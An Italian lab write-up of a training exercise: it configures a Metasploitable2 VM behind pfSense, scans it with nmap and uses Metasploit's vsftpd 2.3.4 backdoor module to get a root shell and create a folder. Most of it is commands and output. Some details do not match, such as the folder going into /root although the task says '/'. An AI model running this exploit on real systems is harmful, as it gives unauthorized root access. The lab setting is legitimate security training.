

HACKING CON METASPLOIT

L'esercizio di oggi consiste nel completare una sessione di hacking sulla macchina Metasploitable2, sul servizio "vsftpd" e, una volta completata la sessione, creare una cartella che chiameremo "test_metasploit" nella directory di root (/).

La macchina Metasploitable2 dovrà essere configurata con l'IP 192.168.1.149/24.

Come prima cosa, quindi abbiamo configurato l'IP di Metasploitable2.

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Una volta configurato l'IP, siamo andati a configurare l'IP anche su PfSense per permettere la comunicazione tra la macchina Kali (IP 192.168.32.100) e la macchina Metasploitable2, dato che non erano più sulla stessa rete.

```
Pfsense [In esecuzione] - Oracle VM VirtualBox

File  Macchina  Visualizza  Inserimento  Dispositivi  >>

Press <ENTER> to continue.
VirtualBox Virtual Machine - Netgate Device ID: 94fdadcfe468b917e583

*** Welcome to pfSense 2.6.0-RELEASE (amd64) on pfSense ***

WAN (wan)      -> em0      -> v4/DHCP4: 10.0.2.15/24
LAN (lan)      -> em1      -> v4: 192.168.32.1/24
OPT1 (opt1)    -> em2      -> v4: 192.168.1.1/24

0) Logout (SSH only)          9) pfTop
1) Assign Interfaces          10) Filter Logs
2) Set interface(s) IP address 11) Restart webConfigurator
3) Reset webConfigurator password
4) Reset to factory defaults  12) PHP shell + pfSense tools
5) Reboot system              13) Update from console
6) Halt system                 14) Enable Secure Shell (sshd)
7) Ping host                   15) Restore recent configuration
8) Shell                       16) Restart PHP-FPM
```

Abbiamo quindi controllato la comunicazione facendo pingare le macchine.

```
kali@kali: ~  
File Actions Edit View Help  
$ ping 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data:  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=63 time=0.845 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=63 time=0.990 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=63 time=1.88 ms  
64 bytes from 192.168.1.149: icmp_seq=4 ttl=63 time=0.915 ms  
64 bytes from 192.168.1.149: icmp_seq=5 ttl=63 time=0.868 ms  
^Z  
zsh: suspended ping 192.168.1.149  
$  
Metasploitable2 [In esecuzione] - Oracle VM VirtualBox  
File Macchina Visualizza Inserimento Dispositivi Aiuto  
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart  
* Reconfiguring network interfaces...  
SIOCDELRT: No such process  
msfadmin@metasploitable:~$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue  
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
inet 127.0.0.1/8 scope host lo  
inet6 ::1/128 scope host  
valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000  
link/ether 08:00:27:51:0e:97 brd ff:ff:ff:ff:ff:ff  
inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0  
inet6 fe80::a00:27ff:fe51:e97/64 scope link  
valid_lft forever preferred_lft forever  
msfadmin@metasploitable:~$ ping 192.168.32.100  
PING 192.168.32.100 (192.168.32.100) 56(84) bytes of data:  
64 bytes from 192.168.32.100: icmp_seq=1 ttl=63 time=1.37 ms  
64 bytes from 192.168.32.100: icmp_seq=2 ttl=63 time=0.998 ms  
64 bytes from 192.168.32.100: icmp_seq=3 ttl=63 time=0.784 ms  
64 bytes from 192.168.32.100: icmp_seq=4 ttl=63 time=0.927 ms  
64 bytes from 192.168.32.100: icmp_seq=5 ttl=63 time=1.08 ms  
[1]+ Stopped ping 192.168.32.100  
msfadmin@metasploitable:~$  
Pfsense [In esecuzione] - Oracle VM VirtualBox  
File Macchina Visualizza Inserimento Dispositivi  
Starting CRON... done.  
pfSense 2.6.0-RELEASE amd64 Mon Jan 31 19:57:53 UTC 2022  
Bootup complete  
FreeBSD/amd64 (pfSense.home.arpa) (ttyv0)  
VirtualBox Virtual Machine - Netgate Device ID: 94fdadcf468b91e583  
*** Welcome to pfSense 2.6.0-RELEASE (amd64) on pfSense ***  
WAN (wan) -> em0 -> v4/DHCP4: 10.0.2.15/24  
LAN (lan) -> em1 -> v4: 192.168.32.1/24  
OPT1 (opt1) -> em2 -> v4: 192.168.1.1/24  
0) Logout (SSH only) 9) pfTop  
1) Assign Interfaces 10) Filter Logs  
2) Set interface(s) IP address 11) Restart webConfigurator  
3) Reset webConfigurator password 12) PHP shell + pfSense tools  
4) Reset to factory defaults 13) Update from console  
5) Reboot system 14) Enable Secure Shell (sshd)  
6) Halt system 15) Restore recent configuration  
7) Ping host 16) Restart PHP-FPM  
8) Shell  
Enter an option: CTRL (DES
```

Abbiamo dunque avviato una scansione con nmap di Metasploitable2 per verificarne se il servizio interessato fosse attivo per poi far partire un'ulteriore scansione proprio sul servizio accertandone la versione.

```
(kali@kali)-[~]  
$ nmap -sV 192.168.1.149  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 09:02 EST  
Nmap scan report for 192.168.1.149  
Host is up (0.0042s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE        VERSION  
21/tcp    open  ftp            vsftpd 2.3.4  
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet         Linux telnetd  
25/tcp    open  smtp           Postfix smtpd  
53/tcp    open  domain        ISC BIND 9.4.2  
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind        2 (RPC #100000)  
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec           netkit-rsh rexecd  
513/tcp   open  login          OpenBSD or Solaris rlogind  
514/tcp   open  tcpwrapped  
1099/tcp  open  java-rmi       GNU Classpath grmiregistry  
1524/tcp  open  bindshell      Metasploitable root shell  
2049/tcp  open  nfs            2-4 (RPC #100003)  
2121/tcp  open  ftp           ProFTPD 1.3.1  
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc            VNC (protocol 3.3)  
6000/tcp  open  X11            (access denied)  
6667/tcp  open  irc            UnrealIRCd  
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)  
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 12.19 seconds  
$
```

```
(kali㉿kali)-[~]
$ nmap -A -p 21 192.168.1.149
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 09:04 EST
Nmap scan report for 192.168.1.149
Host is up (0.00082s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.32.100
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds

(kali㉿kali)-[~]
$
```

Siamo andati ad aprire Msfconsole tramite il comando “msfconsole” dalla nostra macchina Kali.


```
(kali@kali)-[~]
$ msfconsole
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:11: warning: already initialized constant H...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:11: warning: previous definition of NAME was...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:12: warning: already initialized constant H...
E
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:12: warning: previous definition of PREFEREN...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:13: warning: already initialized constant H...
R
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:13: warning: previous definition of IDENTIFI...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:11: warning: already initialized constant H...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:11: warning: previous definition of NAME was...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:12: warning: already initialized constant H...
E
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:12: warning: previous definition of PREFEREN...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:13: warning: already initialized constant H...
R
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/...
a_sha2_nistp256.rb:13: warning: previous definition of IDENTIFI...

  ( ( _ _ _ _ ) )
  ( _ ) o o ( _ )
    \ /
    o_o
      |
      | M S F
      |
      | WW |
      |
      |
      *

= [ metasploit v6.2.9-dev ]
+ -- -- [ 2230 exploits - 1177 auxiliary - 398 post ]
+ -- -- [ 867 payloads - 45 encoders - 11 nops ]
+ -- -- [ 9 evasion ]

Metasploit tip: View missing module options with show
```

Da msfconsole siamo andati a cercare il giusto modulo da utilizzare tramite il comando “search vsftpd”.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > █
```

Tramite il comando “info” abbiamo ottenuto tutte le informazioni sull’exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
Id  Name
--  --
0   Automatic

Check supported:
No

Basic options:
Name      Current Setting  Required  Description
--      -
RHOSTS    21               yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               yes       The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the
VSFTPD download archive. This backdoor was introduced into the
vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011
according to the most recent information available. This backdoor
was removed on July 3rd 2011.

References:
OSVDB (73573)
http://pastebin.com/AetT9sS5
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Tramite il comando “show options” siamo quindi andati a verificare quali configurazioni dovevamo inserire per l’utilizzo dell’exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    21               yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -

Exploit target:

Id  Name
--  --
0   Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

L'exploit in questo caso necessitava l'inserimento dei parametri di IP del target e della porta target. Li abbiamo inseriti rispettivamente con i comandi "set RHOSTS" e "set RPORT".

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Tramite il comando "show payload" siamo andati a visualizzare i payloads disponibili.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key
hm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key
hm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key
hm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key

Compatible Payloads
-----
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact                normal         No    Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Abbiamo impostato il payload trovato con "set payload 0".

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Ne abbiamo poi controllato le opzioni tramite il comando "show options".

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.149   yes       The target host(s)
  LPORT     21              yes       The target port (TCP)

Exploit target:
  Id  Name
  --  -
  0    Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Avendo appurato che non avevamo bisogno di ulteriori configurazioni abbiamo lanciato l'attacco con il comando "exploit" dalla console.


```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.32.100:33539 → 192.168.1.149:6200) at 2022-12-05 09:23:14 -0500
```

L'attacco verrà eseguito sulla macchina target lanciando poi il payload. Abbiamo verificato le informazioni circa la configurazione di rete attuali sulla macchina target con il comando "ifconfig".

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.32.100:33539 → 192.168.1.149:6200) at 2022-12-05 09:23:14 -0500

ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:51:0e:97
          inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe51:e97/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:1568 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1523 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:125534 (122.5 KB) TX bytes:146261 (142.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:261 errors:0 dropped:0 overruns:0 frame:0
          TX packets:261 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:97089 (94.8 KB) TX bytes:97089 (94.8 KB)
```

Tramite la shell del payload abbiamo potuto navigare il file system, siamo quindi andati a creare nella cartella di root (/) la nostra cartella "test_metasploit" tramite il comando "mkdir test_metasploit".

```
pwd
/
cd /root
mkdir test_metasploit
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

Siamo andati a controllare sulla nostra macchina Metasploitable2 per verificare l'effettiva creazione della cartella.

```
msfadmin@metasploitable:~$ ls /root
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:51:0e:97 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe51:e97/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ ping 192.168.32.100
PING 192.168.32.100 (192.168.32.100) 56(84) bytes of data.
64 bytes from 192.168.32.100: icmp_seq=1 ttl=63 time=0.889 ms
64 bytes from 192.168.32.100: icmp_seq=2 ttl=63 time=1.30 ms
64 bytes from 192.168.32.100: icmp_seq=3 ttl=63 time=1.58 ms
64 bytes from 192.168.32.100: icmp_seq=4 ttl=63 time=0.985 ms
64 bytes from 192.168.32.100: icmp_seq=5 ttl=63 time=1.23 ms

[2]+  Stopped                  ping 192.168.32.100
msfadmin@metasploitable:~$ ls /root/
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:~$
```

Tramite il comando "ls /root/" abbiamo avuto la conferma dell'effettiva creazione della cartella, riuscendo quindi a completare la sessione di hacking con successo.